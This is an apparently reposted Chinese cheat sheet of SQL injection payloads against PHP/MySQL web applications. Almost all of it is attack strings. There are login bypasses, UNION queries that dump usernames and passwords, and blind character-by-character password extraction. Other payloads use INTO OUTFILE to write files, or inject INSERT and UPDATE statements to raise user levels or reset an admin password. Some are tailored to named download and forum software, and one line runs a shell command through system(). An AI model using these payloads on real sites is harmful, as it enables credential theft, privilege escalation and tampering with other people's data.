欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

PHP注射一路小跑

程序员文章站 2022-07-03 10:14:58
  php注射库   ' or 1=1   ' or '1=1   '/*   '%23   ' and password='mypass   id=-1 union select 1,1,1   id=-1 union select char(97),char(97),char(97)   id... 11-03-11...

  php注射库

  ' or 1=1

  ' or '1=1

  '/*

  '%23

  ' and password='mypass

  id=-1 union select 1,1,1

  id=-1 union select char(97),char(97),char(97)

  id=1 union select 1,1,1 from members

  id=1 union select 1,1,1 from admin

  id=1 union select 1,1,1 from user

  userid=1 and password=mypass

  userid=1 and mid(password,3,1)=char(112)

  userid=1 and mid(password,4,1)=char(97)

  and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的)

  ' and length(password)='6(探测密码长度)

  ' and left(password,1)='m

  ' and left(password,2)='my

  …………………………依次类推

  ' union select 1,username,password from user/*

  ' union select 1,username,password from user/*

  =' union select 1,username,password from user/* (可以是1或者=后直接跟)

  99999' union select 1,username,password from user/*

  ' into outfile 'c:/file.txt (导出文件)

  =' or 1=1 into outfile 'c:/file.txt

  1' union select 1,username,password from user into outfile 'c:/user.txt

  select password from admins where login='john' into dumpfile '/path/to/site/file.txt'

  id=' union select 1,username,password from user into outfile

  id=-1 union select 1,database(),version() (灵活应用查询)

  常用查询测试语句,

  select * from table where 1=1

  select * from table where 'uuu'='uuu'

  select * from table where 1<>2

  select * from table where 3>2

  select * from table where 2<3

  select * from table where 1

  select * from table where 1+1

  select * from table where 1--1

  select * from table where isnull(null)

  select * from table where isnull(cot(0))

  select * from table where 1 is not null

  select * from table where null is null

  select * from table where 2 between 1 and 3

  select * from table where 'b' between 'a' and 'c'

  select * from table where 2 in (0,1,2)

  select * from table where case when 1>0 then 1 end

  例如:夜猫下载系统1.0版本

  id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

  id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1

  union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码)

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码)

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位)

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51

  …………………………………………………………

  例如2:灰色轨迹 变换id进行测试(meteor)

  union%20(select%20allowsmilies,public,userid,'0000-0-0',user(),version()%20from%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate

  union%20(select%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20from%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate

  构造语句:

  select allowsmilies,public,userid,eventdate,event,subject from calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)

  select allowsmilies,public,userid,eventdate,event,subject from calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)

  union%20(select%201,0,2,'1999-01-01','a',password%20from%20user%20where%20userid%20=%205)%20order%20by%20eventdate

  union%20(select%201,0,12695,'1999-01-01','a',password%20from%20user%20where%20userid=13465)%20order%20by%20eventdate

  union%20(select%201,0,12695,'1999-01-01','a',userid%20from%20user%20where%20username='sandflee')%20order%20by%20eventdate (查沙子的id)

  (select a from table_name where a=10 and b=1 order by a limit 10)

  select * from article where articleid='$id' union select * from……(字段和数据库相同情况下,可直接提交)

  select * from article where articleid='$id' union select 1,1,1,1,1,1,1 from……(不同的情况下)

  特殊技巧:在表单,搜索引擎等地方写:

  "___"

  ".__ "

  "%

  %' order by articleid/*

  %' order by articleid#

  __' order by articleid/*

  __' order by articleid#

  $command = "dir c:";system($command);

  select * from article where articleid='$id'

  select * from article where articleid=$id

  1' and 1=2 union select * from user where userid=1/* 句中变为

  (select * from article where articleid='1' and 1=2 union select * from user where userid=1/*')

  1 and 1=2 union select * from user where userid=1

  语句形式:建立一个库,插入:

  create database `injection`

  create table `user` (

  `userid` int(11) not null auto_increment,

  `username` varchar(20) not null default '',

  `password` varchar(20) not null default '',

  primary key (`userid`)

  ) ;

  insert into `user` values (1, 'swap', 'mypass');

  插如一个注册用户:

  insert into `user` (userid, username, password, homepage, userlevel) values ('', '$username', '$password', '$homepage', '1');

  "insert into membres (login,password,nom,email,userlevel) values ('$login','$pass','$nom','$email','1')";

  insert into membres (login,password,nom,email,userlevel) values ('','','','','3')#','1')

  "insert into membres set login='$login',password='$pass',nom='$nom',email='$email'";

  insert into membres set login='',password='',nom='',userlevel='3',email=''

  "insert into membres values ('$id','$login','$pass','$nom','$email','1')";

  update user set password='$password', homepage='$homepage' where id='$id'

  update user set password='md5(mypass)' where username='admin'#)', homepage='$homepage' where id='$id'

  "update membres set password='$pass',nom='$nom',email='$email' where id='$id'";

  update membres set password='[pass]',nom='',userlevel='3',email=' ' where id='[id]'

  "update news set votes=votes+1, score=score+$note where idnews='$id'";

  长用函数:

  database()

  user()

  system_user()

  session_user()

  current_user()

  比如:

  update article set title=$title where articleid=1 对应函数

  update article set title=database() where id=1

  #把当前数据库名更新到title字段

  update article set title=user() where id=1

  #把当前 mysql 用户名更新到title字段

  update article set title=system_user() where id=1

  #把当前 mysql 用户名更新到title字段

  update article set title=session_user() where id=1

  #把当前 mysql 用户名更新到title字段

  update article set title=current_user() where id=1

  #把当前会话被验证匹配的用户名更新到title字段

  :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

  $req = "select * from membres where name like '%$search%' order by name";

  select * from membres where name like '%%' order by uid#%' order by name

  select * from membres where name like '%%' order by uid#%' order by name

  select uid from admins where login='' or 'a'='a' and password='' or 'a'='a' (经典)

  select uid from admins where login='' or admin_level=1#' and password=''

  select * from table where msg like '%hop'

  select uid from membres where login='bob' and password like 'a%'#' and password=''

  select * from membres where name like '%%' order by uid#%' order by name